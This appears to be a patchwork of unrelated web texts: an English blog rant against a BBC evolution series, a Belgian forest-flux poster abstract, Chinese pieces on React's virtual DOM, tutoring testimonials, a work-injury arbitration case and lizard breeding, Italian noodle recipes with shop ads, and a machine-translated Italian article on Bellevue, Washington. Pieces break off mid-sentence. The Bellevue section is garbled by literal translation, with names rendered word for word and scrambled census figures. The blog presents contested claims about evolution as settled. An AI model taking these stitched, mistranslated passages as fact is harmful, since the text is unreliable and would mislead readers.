I awaited the new BBC television programme on Evolution (Survivors: Nature's Indestructible Creatures) with great interest. The oft-repeated trailers for the show emphasized the recurrence of major cataclysms within that process, which had, on every occasion, wiped out most of the current lifeforms on Earth, yet had always left a few very resilient survivors, and everything that still exists today must have evolved from these remnants. The very fact that catastrophes had played a part was, I thought, extremely significant in what they had precipitated, and the fact that the presenter (Prof. Richard Fortey) was from one of the very best museums in London, led me to expect a great deal of valuable extra information that would be available to add more substance to my recently published Theory of Emergence.
But, to my surprise, the globe-trotting expert did not allocate any evolutionary credit whatsoever to the Emergent Events triggered by those destructive cataclysms, but instead concentrated upon the unchanging "living fossils" that, with great difficulty, he was able to physically present as still living relatively unchanged to this very day.
At the end of a boring hour, looking at Horseshoe Crabs, Lampreys, Lancelets and Stromatolites, we got the bad news that this was to be a whole series of programmes. Good Grief!
So, instead of studying the crucial processes by which evolution had regularly rescued Life from wholesale mass destruction, our expert lauded the niche-surviving relics that hadn't had any revolutionary processes acting upon them for as many as 500 million years. What on earth was Fortey trying to prove?
Clearly, none of the freaks he presented to us were the reason for survival and development in general, or the vital accelerated adaptive changes involved - indeed, he was doing the exact opposite! His chosen "heroes" had survived by being extremely undemanding and resilient, and certainly not by being capable of rapid change in order to adapt and survive. Fortey even described with approval how a certain animal could go for an entire year without any food and still survive. How magnificent? I think not! Most organisms have survived by a mixture of maximal plastic variability and abundant reproduction coupled with certain individual deaths, not by living forever unchanged.
His examples were of where evolution failed to do its job and create new forms suited to radically changed environments, when faced with the most disadvantageous circumstances.
Now, such errors are perhaps understandable, but also unforgiveable! For though the incrementalist, quantitative changes idea of development does still dominate science, that doesn't change the fact that such a standpoint is wholly wrong. The engine of general survival was always adaptive radiation - those interludes following major disasters in which, from a single species, a whole range of different species arise in a relatively short space of time. The pinheads changes that we can see do not become changes in qualities: the incrementalist thesis is a myth.
All developments, not only in Life, but also in all circumstances, display two dominant modes. The first, and of longest duration, is undoubtedly Stability, when an integrated system has become established, not only by its advantageous virtues, but also by its integrated defensive processes. Once established such systems can persist for very long periods, in which the only significant changes are not towards increased order, but to its opposite, via imperceptible and inevitable decay - The Second Law of Thermodynamics doesn't actually rule, but its dissociations do mount up until the system becomes totally undermined, and a wholesale collapse ensues.
Now this is self-contained denouement, not that precipitated by externally caused catastrophe. But, either way, the immediate following period, which is the important part of the alternative mode, is always a short Event of major qualitative changes, which we term an Emergence.
For those who doubt that these Events actually occur, may I proffer a few important examples?
These are - The Origin of Life on Earth, the Advent of Consciousness and the Appearance of Directed Thinking. Complete overturns of what came before.
There can be no doubt, this alternation of long periods of incipient decline within a maintained Stability, and short, explosive interludes of revolutionary ferment and changes, is the pattern of all development. Now, if this is true, what must be the crucial area of study in order to explain innovation - true creative evolution? It can only be the detailed study of Emergences themselves.
But what does Professor Fortey do instead? He studies the failed remnants that have proved impervious to the creative processes of Evolution. He is lauding Conservativism. How can you talk about Evolution and not talk about progress and change?
By being a Tory?|Reference : VOC and ozone fluxes from a pine forest in the north of Belgium|
|Scientific congresses and symposiums : Poster|
|Physical, chemical, mathematical & earth Sciences : Earth sciences & physical geography|
|VOC and ozone fluxes from a pine forest in the north of Belgium|
|Eerdekens, Guenther [University of Antwerp > Plant and Vegetation Ecology > > >]|
|Gielen, Bart [University of Antwerp > Plant and Vegetation Ecology > > >]|
|Neirynck, J. [Research Institute for Nature and Forest > > > >]|
|Heinesch, Bernard [Université de Liège - ULg > Sciences et technologie de l'environnement > Physique des bio-systèmes >]|
|Janssens, Ivan [University of Antwerp > Plant and Vegetation Ecology > > >]|
|European Geosciences Union - General Assembly 2009|
|[en] Plants release large amounts of carbon as Volatile Organic Compounds (VOCs) into the atmosphere. These VOCs play an important role in the chemistry of the troposphere as they can be involved in the mechanisms of ozone and aerosol formation. The key mechanisms underneath biogenic VOC emissions are still not well understood, leading to large uncertainties in BVOC inventories on global and regional scales.
Measurements of VOCs, ozone and micro-meteorology are conducted at the ‘De inslag’, a 80-year old mixed pine–oak forest located in the Campine region near Antwerp, Belgium. The forest site is a level-II plot of the European Programme of Intensive Monitoring Forest Ecosystems and is part of the Carboeuro and Nitroeurope-flux research network. The site is equipped with a flux tower that reaches above the 23m canopy.
A Proton Transfer Reaction Mass Spectrometer and a Fast Ozone analyser allow determining VOC and ozone fluxes by Eddy Covariance. An analytic footprint model is used to exclude non-forest fluxes. In this study, we will test the accuracy of this footprint model with anthropogenic tracers (benzene and toluene).
|Researchers ; Students ; General public|
|File(s) associated to this reference|
All documents in ORBi are protected by a user license.虚拟DOM的介绍：
虚拟DOM就是一个真实DOM转换的JS对象。
虚拟DOM的机制：
在浏览器端用JavaScript实现了一套DOM API。基于React进行开发时所有的DOM构造都是通过虚拟DOM进行，每当数据变化时，React都会重新构建整个DOM树，然后React将当前整个DOM树和上一次的DOM树进行对比，得到DOM结构的区别，然后仅仅将需要变化的部分进行实际的浏览器DOM更新。而且React能够批处理虚拟DOM的刷新，在一个事件循环(Event Loop)内的俩次数据变化会被合并，例如你连续的先将节点内容从A变成B，然后又从B变成A，React会认为UI不
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学员曾霜叶:陈珊妹老师我考上了邵阳县一中学的初中英语老师，特别表达了真诚的感谢。
福建学员林坤：郭老师，我是林坤，我面试过了，一直以为自己很差，上培训班也以为就是打个酱油，结果上您的笔试面试我成了厦门的老师，感谢老师的辅导！
江西学员胡国进：老师，我面试过了，都是老师的功劳！案情简介
申请人：马某
被申请人：某矿业公司
2013年12月，被申请人将其单位负责的某矿区井下废料及地面杂物清理业务，发包给自然人李某。2014年3月1日，李某招用申请人至该矿区从事井下废料清理工作。2014年4月26日，申请人在工作中受伤，当日住院治疗，至2014年5月21日出院，住院治疗费由被申请人承担。2014年11月26日经劳动行政部门认定，申请人所受伤害为工伤，劳动功能障碍程度为八级。申请人的停工留薪期为2014年4月26日至2014年10月25日，停工留薪期满后，申请人再未到被申请人处工作，双方劳动关系于2014年10月25日终止。
双方就工资标准无书面约定，申请人的工资由李某以现金形式发放。2014年6月，李某支付了申请人2014年3月的工资，但具体数额双方主张不一，申请人主张其实际领取7143元，并按该数额主张停工留薪期工资及一次性伤残补助金，被申请人则主张依据李某的陈述，申请人的月工资标准为3000元左右，双方各自主张均无证据证明。因工资标准无法达成一致，被申请人拒绝支付申请人停工留薪期工资及一次性伤残补助金等待遇，双方发生争议，申请人向仲裁委提起仲裁申请。
仲裁请求
1
支付一次性伤残补助金78573元；
2
支付一次性工伤医疗补助金43820元；
3
支付一次性伤残就业补助金114288元；
4
支付2014年4月26日至2014年10月25日停工留薪期工资42858元。
仲裁结果
1
被申请人支付申请人一次性伤残补助金58480.62元；
2
被申请人支付申请人一次性工伤医疗补助金39796.67元；
3
被申请人支付申请人一次性伤残就业补助金50939.73元；
4
被申请人支付申请人2014年4月26日至2014年10月25日停工留薪期工资31715.2元。
争议焦点
停工留薪期工资适用终局裁决是按追索劳动报酬争议对待还是按因执行国家的劳动标准在社会保险方面发生的争议对待，是否受当地月最低工资标准十二个月金额的限制？
案情评析
本案中申请人第一项关于一次性伤残补助金及第四项关于停工留薪期工资的仲裁请求均与申请人受伤前的工资水平有关。
申请人对其主张的月工资标准7143元没有证据证明；被申请人虽不是申请人的工资发放主体，但其将单位业务分包给不具有用工主体资格的自然人李某，应当承担用工主体责任，也有义务对申请人的工资支付情况进行举证。
在双方对劳动报酬约定不明确，且均没有证据证明各自主张的情况下，依据《劳动合同法》第十八条的规定：“用人单位与劳动者可以重新协商；协商不成的，适用集体合同规定；没有集体合同或者集体合同未规定劳动报酬的，实行同工同酬；没有集体合同或者集体合同未规定劳动条件等标准的，适用国家有关规定”，结合《山东省企业工资支付规定》第八条关于“县级以上人民政府劳动保障行政部门根据当地的工资水平，定期发布劳动力市场工资指导价位和人工成本监测预警信息”的规定，本着合情合理的原则，仲裁委参照烟人社办发〔2014〕49号文发布的2014年烟台市人力资源市场部分职位工资指导价位来确定申请人受伤前的工资水平。
比对申请人的工作岗位及工作内容，按照上述指导价位中矿物开采辅助工2014年工资指导价位的平均数5316.42元/月，作为计算申请人停工留薪期工资及一次性伤残补助金的基数，最终裁决被申请人支付申请人一次性伤残补助金58480.62元、停工留薪期工资31715.2元。
本案中申请人的前三项仲裁请求系因执行国家的劳动标准在社会保险方面发生的争议，依据《劳动争议调解仲裁法》第四十七条关于终局裁决的规定，以及我市《关于劳动人事争议案件适用终局裁决的指导意见》，对申请人该三项请求适用终局裁决无疑。但裁决支付的停工留薪期工资数额明显超过了烟台市最低工资标准十二个月金额，遂引发了对停工留薪期工资如何适用终局裁决的思考。
实践中对停工留薪期工资如何适用终局裁决存在两种观点。一种观点认为：停工留薪期工资属于劳动报酬，应受不超过当地月最低工资标准十二个月金额的限制。根据《工伤保险条例》第三十三条的规定，停工留薪期是指职工因工作遭受事故伤害或者患职业病需要暂停工作接受工伤医疗的期间，在停工留薪期内，职工原工资、福利待遇不变，由所在单位按月支付。停工留薪期工资最终落脚在“工资”二字，可见它是用人单位在特殊情形下支付给工伤职工的工资。
另一种观点则认为停工留薪期工资属于工伤保险待遇赔偿项目中的一种，而非传统意义上的劳动报酬，不受当地月最低工资标准十二个月金额的限制。劳动报酬是劳动者提供劳动的对价，而停工留薪期内，劳动者不需要提供劳动，因此期间获得的工资也并非直接提供劳动所得。另外，从法律规定上来讲，停工留薪期工资的概念出自《工伤保险条例》，且条例中明确规定在停工留薪期内，职工是原工资、福利待遇不变，可见其性质为一种工伤保险待遇而非提供劳动的报酬。
仲裁委采纳第二种观点，将停工留薪期工资作为一种工伤保险待遇，纳入《劳动争议调解仲裁法》第四十七条第（二）项规定的社会保险争议，不受当地月最低工资标准十二个月金额上限的限制，并最终作出了全案终局的仲裁裁决。
启示思考
“终局裁决”制度的设立，有效地避免了部分劳动争议处理周期长,效率低,有效的防止了用人单位恶意拖延诉讼，更有利于及时维护劳动者合法权益。
本案申请人为工伤职工，前三项仲裁请求已纳入终局裁决的范围，而停工留薪工资是工伤职工休养期间的主要生活来源，如果将停工留薪期工资视为劳动报酬，本案便要分号裁决，停工留薪期工资作为非终局事项，被申请人依法享有起诉权，不利于及时维护工伤职工的合法权益。更重要的是停工留薪期工资是因工伤而产生的待遇，我们应从其本质属性进行判定。另外，虽然目前《工伤保险条例》规定停工留薪期待遇由用人单位按月支付，但长远看，随着我国社会保险事业的发展和成熟，关于工伤保险的立法定会不断完善，不排除日后工伤职工的停工留薪期工资也会纳入社会保险统筹范围，因此将停工留薪期工资争议纳入因执行国家的劳动标准在社会保险方面发生的争议更符合立法本意和客观实际。
注：本文系转载，仅供普法学习。Contattaci
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Preferiamo rispondere alle tue domande tramite posta elettronica. Non sempre Ŕ presente qualcuno che parli la tua lingua: per questo motivo non troverai un numero di telefono fra i nostri contatti.什么年龄的蜥蜴适合繁殖
很多爬虫爱好者都希望自己饲养的蜥蜴能够“子孙满堂”,但是繁殖并不是那么简单的，究竟什么年龄的蜥蜴最适合繁殖呢？小编就来为你分析一下。
一般来说，无论是什么品种的蜥蜴，在未达到真正的生理成熟之前就进行繁殖都是不适当的。因为个体在此期间完全还处于发育状态，各个器官和他们的生理功能还未发育完全，期间所摄入的营养，尤其是钙质，还主要会被用来满足个体发育，尤其是成长中骨骼形成的需要，因此，如果在这时候让还要个体的身体负担起提供足够卵在体内发育所需要的营养，尤其是形成卵壳的
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- 6 cucchiai di latte di cocco non zuccherato
- 3 cucchiai di succo di lime fresco
- 1 cucchiaio di scalogno finemente grattugiato
- 1 cucchiaio di zucchero di canna chiaro
- 8 once di spaghetti di riso essiccati
- 12 once di gamberi medi sgusciati e cotti sgusciati, dimezzati attraverso la linea centrale
- 1 cetriolo persiano, affettato molto sottilmente
- 2 tazze di crescione tagliato
- 1 tazza di foglie di coriandolo con steli teneri
- 1 Fresno, serrano o peperoncino tailandese, affettato molto sottilmente
- ¼ tazza di arachidi tostate e salate tritate
Preparazione della ricetta
Sbattere il latte di cocco, il succo di lime, la salsa di pesce, lo scalogno e lo zucchero di canna in una piccola ciotola fino a che liscio. Aggiungere gradualmente l'olio, sbattendo continuamente fino a quando non sarà emulsionato; accantonare.
Cuocere i noodles in una pentola capiente con acqua bollente salata secondo le istruzioni sulla confezione finché sono teneri (si vuole che siano un po' più cotti che al dente poiché vengono serviti freddi). Drenare; sciacquare sotto l'acqua fredda, quindi scolare di nuovo.
Mescolare le tagliatelle, i gamberi, il cetriolo, il crescione e il coriandolo in una grande ciotola con tre quarti del condimento riservato per unire e ricoprire uniformemente; condire con sale. Completare con i peperoncini e le arachidi e cospargere con il condimento rimasto.
Fai in anticipo: La medicazione può essere effettuata 1 giorno prima. Coprire e raffreddare.
Insalata di noodle tailandesi facile con salsa di cocco e lime
Questo post può contenere link di affiliazione. Si prega di leggere la mia informativa per ulteriori informazioni.
Questo Insalata di noodle tailandesi con salsa di cocco e lime ricetta è facile, veloce e super gustoso! È leggero, rinfrescante e infuso con fragranti sapori tailandesi. È naturalmente senza glutine, adattabile ai vegani e pronto da mangiare in soli 7 minuti! Impara come preparare un'insalata di noodle tailandesi fatta in casa con questa ricetta semplice e veloce.
Questa veloce insalata di noodles freddi è fatta con teneri spaghetti di riso, cavolo e carote croccanti sminuzzati, arachidi tostate e coriandolo fresco, conditi con un condimento cremoso a base di latte di cocco. È un pasto perfetto per la stagione calda, quindi è un ottimo piatto per pranzi e riunioni primaverili ed estivi. Questa insalata tailandese è anche una ricetta ideale per ospiti inaspettati, perché puoi mettere insieme questa insalata in un attimo!
Perché adorerai questo cremoso gambero al cocco?
- Cremoso cocco + succo di lime piccante creano una salsa che crea dipendenza.
- La giusta quantità di dolce, salato e crostata per farti tornare per averne di più.
- 15 minuti dall'inizio alla fine. nemmeno scherzo!
- Come delizioso sopra il riso al cavolfiore o il riso normale in modo che tutti a tavola siano felici.
- Sapori di ispirazione thailandese, che tutti noi amiamo.
- Quella salsa! Seriamente cremoso. Seriamente lime. Davvero delizioso.
Tagliatelle in stile Chengdu con gamberi al cocco e lime
I noodles asiatici in stile Chengdu diventano un incredibile piatto principale con l'aggiunta di Coconut Lime Shrimp. Ti sembrerà di essere nel tuo ristorante cinese preferito senza dover uscire di casa!
Ingredienti
- PER IL CONDIMENTO:
- 6 cucchiai di salsa di soia
- 4 cucchiai di burro di arachidi
- 4 cucchiaini di aceto di vino di riso
- 2 cucchiaini di aglio tritato
- 1-½ cucchiaino di zucchero
- 1 cucchiaino di zenzero macinato
- ½ cucchiaini di cinque spezie cinesi
- PER LE TAGLIETTE E GAMBERI:
- 1 lattina (6 once) di germogli di soia
- 1 libbra di spaghetti
- 2 cucchiai di olio di cocco
- 1 libbra di gamberi, sgusciati e svenati
- Sale e pepe nero macinato fresco
- 1 lime intero, scorza e succo
- 2 cucchiaini di Sriracha
- 2 cucchiaini di olio di sesamo
- 2 cipollotti interi, affettati sottilmente
Preparazione
Mescolare bene tutti gli ingredienti per il condimento in una ciotola e poi mettere da parte.
Prendete una pentola capiente d'acqua sul fuoco e portatela a bollore. Quando bolle, trasferire i germogli di soia in un colino a rete e immergerli nell'acqua per 5 secondi per renderli teneri. Passatele poi sotto l'acqua fredda per fermare la cottura e mettetele da parte.
Salare generosamente l'acqua. Lessare gli spaghetti in acqua aromatizzata ai germogli di soia e salata finché sono teneri, circa 8 minuti.
Mentre gli spaghetti cuociono, preparate i gamberi. Scaldare l'olio di cocco in una padella larga a fuoco medio-alto. Aggiungere i gamberi e cuocere fino a quando sono rosa e opachi. Mentre cuociono insaporire i gamberi con un pizzico di sale, pepe, scorza di lime e succo di lime. Una volta che i gamberi sono pronti, trasferirli in un piatto lasciando il liquido dietro.
A questo punto gli spaghetti dovrebbero essere quasi cotti. Scolare, quindi saltare in una grande ciotola con Sriracha, olio di sesamo, il liquido di cottura dei gamberetti e il condimento.
Disporre le tagliatelle su un piatto grande, quindi disporre sopra i gamberi. Cospargere i germogli di soia e lo scalogno sopra per guarnire e servire immediatamente in stile familiare!
Insalata di noodle tailandesi cremosa al cocco
Sono ossessionato dal mio nuovo pelapatate a julienne. È il modo più semplice che ho trovato per creare nastri vegetali lunghi e belli. Usa questo pelapatate su carote e zucchine! In alternativa potete utilizzare una grattugia a cassetta o una mandolina con attacco a julienne.
Mescolare il condimento in una ciotola. Questa ricetta ti darà un condimento extra che puoi usare per marinare gamberi, tofu o pollo se vuoi aggiungere un po' di proteine alla tua insalata.
Condisci i noodles con le verdure, il condimento, lo scalogno e il coriandolo. Questa insalata si conserva in frigorifero fino a quattro giorni.
Ingredienti in insalata di noodle tailandesi cremosa al cocco:
Insalata:
-spaghetti di riso
-peperone rosso
-zucchine
-carote
-coriandolo
-scalogno
aggiunte facoltative: tofu, pollo, gamberi, piselli, taccole, edamame, basilico, menta, jalapeno
-burro di mandorle: va bene anche il burro di arachidi
-latte di cocco intero
-succo di lime
-miele o zucchero di canna
-salsa di soia: usa tamari o cocco aminos per il senza glutine
- salsa sriracha o peperoncino all'aglio
-aglio
Questo condimento super semplice può essere sbattuto insieme in una ciotola.
Preparazione: 15 minuti Tempo di cottura: 0 minuti
Serve 4
Con: aceto balsamico di cocco e olio extra vergine di oliva al lime
Ingredienti:
- 8 once di spaghetti di riso secchi
- 8 once di gamberi cotti
- 2 cetrioli persiani o cetrioli tagliati a fiammiferi
- ½ peperone rosso, tagliato a fiammiferi
- 2 cipolle verdi (sezioni bianche e verdi), tagliate a fiammiferi
- tazza di aceto balsamico di cocco Seven Barrels
- tazza di olio extra vergine di oliva Seven Barrels Lime
- 1 ½ - 2 cucchiaini di salsa sriracha, a piacere
- 1 cucchiaio di succo di lime fresco
- 1 cucchiaino di aglio schiacciato o grattugiato
- 3/4 cucchiaino di sale marino
- ½ cucchiaino di zucchero
Istruzioni:
Cuocere gli spaghetti di riso in acqua bollente secondo le indicazioni sulla confezione. Scolare, sciacquare sotto l'acqua fredda e scolare ancora una volta. Trasferire in una ciotola capiente.
Aggiungere i gamberi, il cetriolo, il peperone rosso e le cipolle verdi e mescolare. In una ciotola media, sbatti l'aceto balsamico, l'olio d'oliva, la sriracha, il succo di lime, l'aglio, il sale e lo zucchero fino a quando non si saranno amalgamati.
Versare il condimento sul composto di noodle e mescolare fino a ricoprirlo uniformemente. Servire nelle ciotole.
Condividere
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- &copia 2021 Seven Barrels.
Qualsiasi dispensa seria include aceto balsamico eccezionale e olio extravergine di oliva premium. Questa è la tua opportunità per rifornirti con due dei migliori: l'aceto balsamico tradizionale invecchiato da sette botti e il nostro pluripremiato olio extra vergine di oliva della California Miller's Blend - insieme al prezzo scontato di $ 50. con spedizione GRATUITA!
Non è richiesto alcun codice per l'acquisto di questa confezione doppia da 12,7 once a tempo limitato. Agisci adesso!
Vuoi aggiungere altro al tuo carrello? Nessun problema! Qualsiasi prodotto aggiuntivo verrà inoltre spedito gratuitamente con l'acquisto della combo.
Acquista tutte le paia classiche che desideri poiché questa offerta scadrà il 31 marzo 2020.
Ti presentiamo le nostre NUOVE collezioni regalo personalizzate!
Condividi il sapore dei sette barili con tutti quelli della tua lista con le nostre nuove confezioni regalo personalizzate.
La nostra confezione regalo Quattro contiene quattro pezzi da 6 once. bottiglie e la nostra confezione regalo Duo viene fornita con due grandi 12,7 once. bottiglie.
Mescola e abbina qualsiasi bottiglia del nostro miglior olio extra vergine di oliva californiano e/o aceto balsamico invecchiato premium (e regalati anche una confezione regalo, già che ci sei!).
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Preparati per il sapore tostato e ricco del nostro nuovo Aceto Balsamico Bourbon premium invecchiato in botte. Giusto in tempo per l'autunno, usalo per completare il tuo taglio di manzo preferito o condisci un po' nella tua migliore ricetta di zuppa di zucca. Un'esplosione di sapore!
Ordina entro il 31 ottobre per uno sconto del 10% su 12,7 once. bottiglie
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SOFFICE DI GUSTO
Porta il sapore dell'estate alla tua ricetta preferita con il nuovo Aceto Balsamico di Pompelmo Rosa Seven Barrels. Luminosa, dolce e piccante, la nostra infusione di succosi agrumi rosa porterà la gioia solare di una giornata estiva a tutte le tue creazioni culinarie.
Ordina entro il 31 agosto, su 12,7 once. o più grande. Spedizione gratuita per l'intero ordine
PSA: Abbiamo un brutto caso di febbre da fieno.
Mi dispiace, era fuorviante. No, non abbiamo naso che cola o prurito e lacrimazione degli occhi. Siamo semplicemente dipendenti dalle corse di fieno e da tutto ciò che comportano: foglie croccanti, campagne pittoresche, raccolta di
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'unica istruzione di Waldorf dell'Eastside a Tre Scuola di Cedri, così come Scuola di cristiano di Bellevue.
Economia
Con la sua prossimità immediata a Redmond, a casa di Microsoft, Nintendo, e Valve Corp. e accesso di strada maestra diretto a Seattle via Interstatale 90 e l'Itinerario di stato 520, Bellevue è patria adesso per il quartier generale di molti piccoli e grandi affari, molti di cui sono società di tecnologia che cominciarono negli anni 1990. La città ha distretti commerciali fiorenti numerosi, compreso tre centri commerciali principali a parte Bellevue Square: Viale di Factoria in direzione al Sud, Viale d'Incrocio nell'Oriente e il Sovralago Facendo acquisti il Distretto nel Nord.
Demografia
Secondo una stima del 2012, il reddito mediano per una famiglia nella città è stato 88.073$, e il reddito mediano per una famiglia è stato 104.839$. Il reddito pro capite per la città è stato 48.719$.
Nel 2006, Bellevue fu valutato una delle 25 città più al sicuro in America, basata su pro capite l'incidenza di crimine violento.
Censimento del 2010
A partire dal censimento del 2010, ci furono 122.363 persone, 50.355 famiglie e 32.145 famiglie che risiedono nella città. La densità di popolazione è stata. Ci sono state 55.551 unità abitative a una densità media di. Il trucco razziale della città è stato l'afroamericano Bianco, del 2,3% del 62,6%, il nativo americano del 0,4%, l'asiatico del 27,6%, l'oceanico del 0,2%, il 3,1% da altre razze e il 3,9% da due o più razze. L'ispanico o il latino-americano di qualsiasi razza sono stati il 7,0% della popolazione.
Ci furono 50.355 famiglie di cui il 30,0% ebbe bambini di età inferiore a 18 modo di vivere con loro, il 52,9% fu sposato le coppie che vivono insieme, il 7,6% ebbe un padrone di casa femminile senza presente di marito, il 3,3% ebbe un padrone di casa maschile senza presente di moglie, e il 36,2% fu nonfamiglie. Il 28,1% di tutte le famiglie fu completato con individui e il 8,4% ebbe qualcuno che vive solo chi fu 65 anni di età o più vecchio. Le dimensioni domestiche medie sono state 2.41 e le dimensioni di famiglia medie sono state 2.97.
L'età media nella città è stata 38,5 anni. Il 21,2% di abitanti è stato di età inferiore a 18; il 7,6% è stato tra le età di 18 e 24; il 30,8% è stato da 25 a 44; il 26,5% è stato da 45 a 64; e il 13,9% è stato 65 anni di età o più vecchio. Il trucco di genere della città è stato la femmina maschile e del 49,9% del 50,1%.
Censimento del 2000
A partire dal censimento del 2000, ci furono 109.569 persone, 45.836 famiglie e 29.060 famiglie che risiedono nella città. La densità di popolazione è stata 1,375.8/chilometro ² (3,563.6/mi ²). Ci sono state 48.396 unità abitative a una densità media di 607.7/chilometro ² (1,574.0/mi ²). Il trucco razziale della città è stato l'afroamericano Bianco, del 1,99% del 74,33%, il nativo americano del 0,32%, l'asiatico del 17,39%, l'oceanico del 0,23%, il 2,54% da altre razze e il 3,19% da due o più razze. L'ispanico o il latino-americano di qualsiasi razza sono stati il 5,32% della popolazione.
Ci furono 45.836 famiglie di cui il 27,5% ebbe bambini di età inferiore a 18 modo di vivere con loro, il 53,0% fu sposato le coppie che vivono insieme, il 7,5% ebbe un padrone di casa femminile senza presente di marito, e il 36,6% fu nonfamiglie. Il 28,4% di tutte le famiglie fu completato con individui e il 7,9% ebbe qualcuno che vive solo chi fu 65 anni di età o più vecchio. Le dimensioni domestiche medie sono state 2.37 e le dimensioni di famiglia medie sono state 2.93.
Nella città la popolazione è stata distribuita con il 21,1% di età inferiore a 18, il 7,8% da 18 a 24, il 32,6% da 25 a 44, il 25,0% da 45 a 64 e il 13,4% chi sono stati 65 anni di età o più vecchio. L'età media è stata 38 anni. Per ogni 100 femmine ci sono stati 98,4 maschi. Per ogni 100 età di femmine 18 e, ci sono stati 96,6 maschi.
Il reddito mediano per una famiglia nella città è stato 62.338$, e il reddito mediano per una famiglia è stato 76.868$. I maschi ebbero un reddito mediano di 56.456$ contro 37.124$ per femmine. Il reddito pro capite per la città è stato 36.905$. Il circa 3,8% di famiglie e il 5,7% della popolazione sono stati sotto la linea di povertà, compreso il 5,7% di quelli sotto età 18 e il 6,3% di quelli invecchia 65 o.
Cultura
Eventi culturali ripetenti
Bellevue è il sito della Fiera di Mestieri e di Arti di Bellevue annuale popolare (la Fiera di Mestieri e di Arti originariamente Pacifica Di nordovest), considerato dal 1947 alla fine di luglio. La Mostra di Scultura di Bellevue biennale attira migliaia di visitatori di Downtown Park per vedere fino a 46 materiali illustrativi tridimensionali da artisti intorno al paese. In celebrazione della sua storia di agricoltura di fragola, Bellevue organizza un Festival annuale Di fragole. Bellevue il Relé di 24 ore è stato anche ospitato ogni luglio in Bellevue Downtown Park.
Posti di interesse
Il Museo di Arti di Bellevue prima si aprì nel 1975, poi trasferito a Bellevue Square nel 1983. Nel 2001, il museo si mosse nel suo edificio, progettato da Steven Holl. Il museo successivamente collise con difficoltà finanziarie e fu forzato a vicino al pubblico nel 2003. Dopo una campagna di raccolta di fondi lunga, rimodellare e una nuova missione di diventare un centro nazionale per l'arte eccellente di mestiere e progetto, il museo si è riaperto il 18 giugno 2005 con una mostra di teiere. Il Museo di Rosalie Whyel di Arte di Bambola - adesso chiuso - ha contenuto una delle più grandi raccolte di bambola nel mondo — più di mille bambole — visualizzato su due piani di un edificio di Stile vittoriano. KidsQuest il Museo Da bambini è situato su Mercato Factoria. I visitatori primari del museo sono madri e i donatori di cura con bambini da prerettili a 12 anni di età. Il suo gioco di case spaziale e aree di scoperta, mostre, uffici, attività educative e spazio di aula. Vicino a Interstatale 405 è il Centro di Meydenbauer, un centro di convenzione che porta incontri corporativi e gli eventi di carità al centro. Meydenbauer anche include un teatro di 410 posti che attrae opere, i balletti e gli spettacoli orchestrali.
Sport e ricreazione
Dagli anni 1970, la città ha preso un ruolo attivo in assicurazione che il suo sviluppo commerciale non distrugge la sua terra naturale e risorse dell'acqua. Oggi, il Reparto di Servizi civili e di Parchi di Bellevue dirige più che di parchi e spazi aperti, compreso Downtown Park e l'Orto botanico di Bellevue, così come parecchi cortili per la ricreazione, parchi di spiaggia e orme. Più di 5.500 abitanti di Bellevue partecipano ad attività di volontario attraverso questo reparto annualmente.
Bellevue è stato patria per il team di Associazione di Pallacanestro americano, Bellevue Blackhawks. Blackhawks nel 2005, nonostante esser considerato 13esimo nella lega, lo fece al gioco di campionato davanti a 15.000 ammiratori in Poca Roccia, l'Arkansas. Il team è stato inattivo dal 2006.
Abitanti ben noti
La gente notabile
- Ann Wilson, co-fondatore di Cuore
- Nancy Wilson, co-fondatore di Cuore
- Alan White, tamburino di gruppo rock progressivo Sì
- Rob McKenna, l'ex Procuratore generale di Washington
- Megan Hilty, attrice di Broadway
- Gabe Newell, co-fondatore di Valve Corporation
- William S. Ayer, presidente e il CEO di Aviolinee di Alasca
- Layne Staley, primo cantante di gruppo rock Alice in Catene (1967–2002)
- Martin O'Donnell, l'ex primo compositore per Studi Bungie
- Peter Horton, attore da Bambini del Grano
- Dustin Kensrue, primo cantante e chitarrista di ritmo di Tre volte
- Greg Lundgren, l'artista e morte si preoccupano l'imprenditore
- Timothy Omundson, attore
- Randi Brooks, attrice
- Satya Nadella, il CEO di Microsoft
- Ricky Horror, chitarrista di immobili in bianco
- Larry Sanger, co-fondatore di Wikipedia
Atleti, allenatori e commentatori sportivi
- John Olerud (l'ex giocatore di baseball MLB)
- Evan Meek, MLB (giocatore di baseball) Orioli di Baltimora
- Todd Hollandsworth l'ex giocatore di Major League Baseball
- Tim Lincecum giocatore di MLB e brocca principiante per i Giganti di San Francisco
- Curry di Aaron, Linebacker per Oakland Raiders
- Detlef Schrempf, l'ex giocatore NBA per
- Michael Brantley, outfielder per gli indiani di Cleveland
- Edgar Martínez, l'ex giocatore MLB per i Marinai di Seattle
- Martin Harrison, NFL Linebacker per Seattle Seahawks, San Francisco 49ers e vichinghi di Minnesota. Scuola superiore di Newport grad nel 1985, UW il 1990.
- Deon Butler, destinatario largo per Seattle Seahawks
- Sigi Schmid, Seattle il FC di Sounders sono a capo di allenatore
- Jeff Ulbrich, Difesa e allenatore di team speciale per Seattle Seahawks
- Félix Hernández, giocatore di MLB e brocca principiante per i Marinai di Seattle
- Jeff Cirillo, l'Ex giocatore MLB per i Marinai di Seattle e i Birrai Milwaukee
- Tom Peterson, ciclista professionale
- Russell Wilson quarterback di NFL per Seattle Seahawks
- Dave Niehaus, giornalista radiotelevisivo per gli Angeli Californiani e i Marinai di Seattle, il destinatario del Ford C. Premio di Frick
Città consorelle
Bellevue ha le città consorelle seguenti:
- Hualien, Taiwan
- Yao, prefettura di Osaka, il Giappone
- Kladno, la Repubblica Ceca
- Liepāja, la Lettonia
Vedi anche
- Lakemont, Washington
Collegamenti esterni
- Sito ufficiale
- Commercio governativo e tecnologia sito ufficiale
- Sito di ufficio di visitatori
- Sito di informazioni di comunità
Storia e crescita
Geografia
Cityscape
Clima
Città circostanti
Trasporto
Governo e politica
Istruzione
Economia
Demografia
Censimento del 2010
Censimento del 2000
Cultura
Eventi culturali ripetenti
Posti di interesse
Sport e ricreazione
Abitanti ben noti
La gente notabile
Atleti, allenatori e commentatori sportivi
Città consorelle
Vedi anche
Collegamenti esterni
Isola di Mercer, Washington
Valve Corporation
Bellevue
Curva nord, Washington
Bill Gates
Queensrÿche
Lista di ponti negli Stati Uniti
Snoqualmie, Washington
Cheney, Washington
Woodinville, Washington
Lago ovest Sammamish, Bellevue, Washington
Newcastle, Washington
Punto di cacce, Washington
Thorp, Washington
Issaquah, Washington
La contea di Snohomish, Washington
Interstatale 90
Contea di re, Washington
Seattle festival di film internazionale
T-Mobile
Clyde Hill, Washington
Fori la contea, Washington
Amazon.com
Eastgate,
